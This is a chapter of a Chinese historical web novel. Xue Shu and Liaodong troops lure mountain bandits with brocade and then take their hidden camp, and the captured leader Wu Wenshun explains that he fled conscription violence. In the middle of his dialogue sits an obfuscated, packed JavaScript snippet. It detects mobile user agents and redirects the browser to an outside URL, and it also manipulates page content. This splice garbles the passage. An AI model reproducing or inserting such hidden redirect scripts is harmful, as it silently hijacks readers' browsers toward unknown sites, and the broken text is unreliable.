于是第二波打击来了,在他们靠近商船不足五十步的距离内,密密麻麻的箭矢当头砸落。这当然不是军中惯用的强弩,有些是这艘船上原本就有的——出海在外,赚的是刀口嗜血的亡命钱,总得有点护身的底牌;有些却是临时现做的,将树林里的木头锯成适当的长度和宽度,打磨光滑,再加热变软,木头弯曲成弓形,绑上细绳就是最简易的猎弓。 至于箭矢,他们舍不得用精铁箭头对付几个贼寇,于是捡了坚硬的树枝削成尖刺状,射程和威力都比不上军用强弓,幸好守着商船的不乏百步穿杨的神箭手,只需敌酋靠近五十步之内,也够用了。 粗制滥造的箭矢落下,钉穿了山贼们的胸口,也打碎了美妙的幻梦。 鲜血从尚在挣扎的躯体中流淌而出,汇进不断上涨的海水里,赤红与漆黑就难舍难分。更多的人从这幻梦中解脱而出,意识到横亘在他们与商船间的不止是沙滩,不止是船员,还有死亡。 他们终于听见武文顺的呼喊,再迟疑、再不舍,还是调转了方向。 荣华富贵是很好,能买到想象不到的东西,可它买不到性命啊! 山贼们跑了,如来时一样轻巧迅捷,如风如电。 船头处,高举火把的薛殊啧了一声:“反应还挺快,可惜只留下十来个。” “不少了,”岑宁说,“咱们派去山里的有一百来号人,尽够了。” 他停顿片刻,又笑道:“其实几个落草为寇的山民,原也不必费这样的周折。” 薛殊却说:“那不行!辽东精兵是两位魏帅一手一脚带出来的,可不能折损在这种地方!” 29. 第二十九章 大穆朝廷忌惮辽东军,不能说脑子有坑,也算是人之常情。但若换成薛殊,她可不会这么轻易地弃了这一支强军。 要培养一个老兵,一个训练有素的精锐士卒,投入的金钱和资源难以想象。尤其这不是普通的士兵,是骑兵,是能在战场上与努人精骑正面抗衡的王牌部队,在薛殊看来,他们每一个都弥足珍贵。 比方说,她可以眼皮不眨地拿价比千金的云锦当诱饵,却绝对舍不得他们中的任何一个在广南国的山林里遭遇伤亡。 所以她与岑宁制定了极其完备的作战计划:由胡千岩出面,以云锦为饵钓出山贼主力,叫他们先在海滩上遭遇一波伏击。待得山贼发现中计,惊慌失措之下,第一反应一定是退回寨中。 那是他们的老巢和大本营,穆人初来乍到,摸不清山林地势,他们进了寨子就安全了,这些贼寇一定会这么想。 那么,当辽东军在他们最放松、最懈怠,恨不得就地趴倒长出一口气的时候突然发动袭击,他们会有防备吗? 答案很显然。 计策就是这么个计策,岑宁也同意了。但他随即笑道,这般机关算尽,只为对付几个山匪,实在是有些大材小用。 薛殊很好奇:“你一点都不担心?” “担心什么?” 薛殊指一指远处山林,岑宁反应过来,不由失笑。 “连几个落草为寇的山民都应付不了,”他简短而不无轻松地说道,“下去见了两位魏帅,也没脸自称辽东军麾下。” * 薛殊理解岑宁的自负,可战场之上,意料之外的变故太多,生死有时只隔着一层窗户纸,没看到最终结果前,她不敢掉以轻心。 直到跟在岑宁身后,循着胡千岩沿途撒下的荧光粉,摸黑爬上贼寇匪窝,薛殊突然明白,老兵之所以为老兵,不只是因为他们的战斗素养和心理素质远胜新兵,更因为他们战场经验足够丰富,能应对大部分意外变故。 跟他们相比,盘踞于此的贼寇除了熟悉地形,以及更加适应热带湿热气候,再没有拿得出手的优势。 既然如此,他们有什么筹码跟大穆最精锐的辽东军抗衡? 夜晚的山路很不好爬,最后一段尤其崎岖险阻。但是对辽东军而言,这些都不成问题,哪怕他们是骑兵出身,更习惯在平坦的开阔地带作战。 “辽东不止平原,也有山岭,”岑宁这样解释道,“努人是从白山黑水里爬出来的,各个都是捕猎的好手,跟他们战斗,不止要精通骑射功夫,还得在山里摸爬滚打。” “时间长了,自然习惯溜高窜低。” 薛殊恍然,为了将注意力从酸痛的双腿和发闷的胸口转移开,随便扯了个话题:“你们云参将也是这么过来的?” 说实话,她还真有点想象不出那说话细声细气的小子,在山里摸爬滚打的模样。 岑宁笑了。 “我家将军可是少帅亲自教出来的,”他说,“少帅治军极严,对这个义弟尤其心狠手辣,将军当年没少吃苦头。” 薛殊先是一愣,义弟? 然后反应过来,是了,云澈是魏成契的义子,可不得管魏渊叫义兄? * 魏家这对义兄弟的关系如何不干薛殊的事,但辽东军的战力她是实实在在看到了。 一路上山,林子里静得出奇,想象中的厮杀声固然不存在,本该放声欢唱的螽斯更是偃旗息鼓。 薛殊越走越不放心,直到她瞧见山路尽头火光摇动,一抹极高大的身形投下暗影,像墙又像熊。 “寨中贼匪皆已就擒,共计一百七十六人,其中一小半是妇孺,咱们分了三十个兄弟,将他们看在下头村子里。这寨中的百十来号人都是青壮男子,交战时死了十来个,剩下的也都绑起来了,”他说,“悉听同知和郎君发落。” 薛殊最关心的却不是匪贼:“咱们自己人呢?可有伤亡?” 许承训笑了,说辞与岑宁出奇的一致:“两人轻伤,无人阵亡。若是这点阵仗就能叫咱们减员,真是下了黄泉都没脸见大帅和少帅。” 薛殊长出一口气。 借着火把照明,她迈过最后一道坎,抬头是一座相当有规模的寨子。虽然被密林包围,藏得严严实实,可是爬上山顶往下看,就会发现这里视野很好,如果是白天,连远处官道上的商队往来都一清二楚。 更有意思的是,营寨四面立起石墙,有瞭望塔,门口还有拒马。再往里,有限的空间规划整齐,休息区、训练区、存储区泾渭分明,与她在江南所见的宁波大营十分相似。 “这不是寻常山民能立起的营寨,”薛殊看完,非常肯定地说,“这里面有人……很有可能是那个首领,曾经出身行伍。” 岑宁完全同意她的判断。 两人进了正堂,几个贼匪中的首脑人物被绑成粽子,就看押在里面。薛殊目光扫过,一眼锁定了武文顺,只见他脸上留着两道血痕,衣衫也破破烂烂,裸露的臂膀上划出好长一道皮肉翻卷的血口子。 薛殊现阶段还处于“刷好感”时期,岑宁已经采纳她的计策,她就不想让自己显得太独断专行:“我见识有限,昔日辽东军中,对这等匪寇都是如何处置?” 岑宁的声音很冷硬:“降者送官府,冥顽不灵者,格杀无赦。” 薛殊有点不确定:“可咱们是外来者,眼下也不方便惊动官府。” 岑宁待匪寇可没什么温厚脾气:“都杀了也没什么,只是尸首处理起来麻烦了些,不如待海水涨潮,拴上重物抛入海中?” 薛殊开始思索这个法子的可行性。 被他们决定命运的人忍不住了,是人都有向生畏死之心,再穷凶极恶的匪徒也一样。他决定为自己,也为跟随自己的兄弟和乡亲搏一搏。 “且等等,”武文顺突然开口,用不甚流利的汉话讨价还价,“他们都是被我胁迫的,你要杀,杀我一人就是,能不能放了他们?” 薛殊玩味地瞧着他。 “我们留宿山寨时,有人在背后跟踪,偷听我们说话,那个人是寨子里的山民,可见他们与你是一伙的,一直为你充当眼线哨探,”她歪了歪头,“你凭什么觉得,我会留下想对自己不利的人?” “我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906131|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只想求财,没想过伤人害命,”武文顺据理力争,“咱们虽迫于生计落草为寇,却不是那等残忍好杀之辈,打从第一天起我就告诉过那些乡亲,视人如草而滥开杀戒者,必将招致祸患,反噬其身!” 薛殊有了点兴趣,看了看岑宁。 岑宁颔首,示意她自行决断。 薛殊于是问道:“你可是出身行伍?” 到了这个地步,武文顺没必要隐瞒:“是,在下曾入军中服役。” 薛殊饶有兴味:“既然有正经的军职,怎么又混成山匪?” 武文顺抿起唇角,嘴唇人眼可见地干裂渗血,他的眼神却很冷,像结了薄霜的石头。 “几位去过西卷城,应该看得出,广南和北边不一样,接管官衙的就是军队。北边至少还是五丁抽一,咱们这儿却是三丁抽一,没有讨价还价的余地。” 说到这里,武文顺话音极轻地顿了下,似乎是吸了口气,才继续往下说。 “南边百姓少,也没那么多成丁,阮主下令,男子十三岁以上,六十岁以下,皆须服兵役。有的人家男丁单薄,或是当爹的已经死在战场上,不想孩子重蹈覆辙,就给男孩做女童打扮。可这是大罪,一旦被发现,一家人都得死。” 他垂着眼,语气很平静:“有一回,我亲眼看见一家子——寡母,六十多岁的老祖母,还有她那刚满十三的小孙儿,被长矛戳死在墙根。血流了满地,从山上挖渠沟引下来的山泉水都被染红了。” “这家人是住我隔壁的乡亲,我小时候家里穷,吃不上饭,有时去他们家,老祖母虽然骂骂咧咧,却也给我盛半碗剩饭,或是塞俩鸡蛋。” 薛殊仔细观察着这个人,当他慷慨激昂地要求薛殊杀了他,放了其他人时,他的表情是激愤的、浮夸的。可是当他说起这段往事,所有的情绪都消失了,他脸上只有一派漠然。 他的表情告诉薛殊,他说的是真的。 “然后呢?” “我看不下去,杀了抓人的官军,带着其他乡亲逃进山里。一开始太苦了,还要跟其他山贼抢地盘,有些上了年纪的挨不下去,剩下的都在这里。” 薛殊终于恍然为什么她第一次走进村寨时,会有种说不清道不明的异样感——一个正常的村寨,怎么会没有老人?就算百姓家穷,生活质量远不如贵族,平均寿命也低很多,可一个将近两百人的村子,也不至于一个五六十岁的花甲老人都看不见吧? 现在她明白了。 薛殊和岑宁飞快交换过视线,后者冷硬的目光松动了,别开脸叹了口气。 薛殊就问:“你们平时盘踞山寨,光靠打劫过往客商为生?广南统共就这么大,那么多客商遭殃,也没人管管?” 武文顺垂着眼:“有人管。但我劫来的财物不光自己留用,每次都挑好的送出去打点,上面的人得了好处,围剿前都会通风报信,要是人数不多,咱们就打一打。要是打不过,咱们就暂避风头,总归这后面是长山,随便往哪个山旮旯里一钻,官军还能赖着不走不成?” 薛殊揉着额角,好家伙,这还发展出了报信分赃一条龙服务!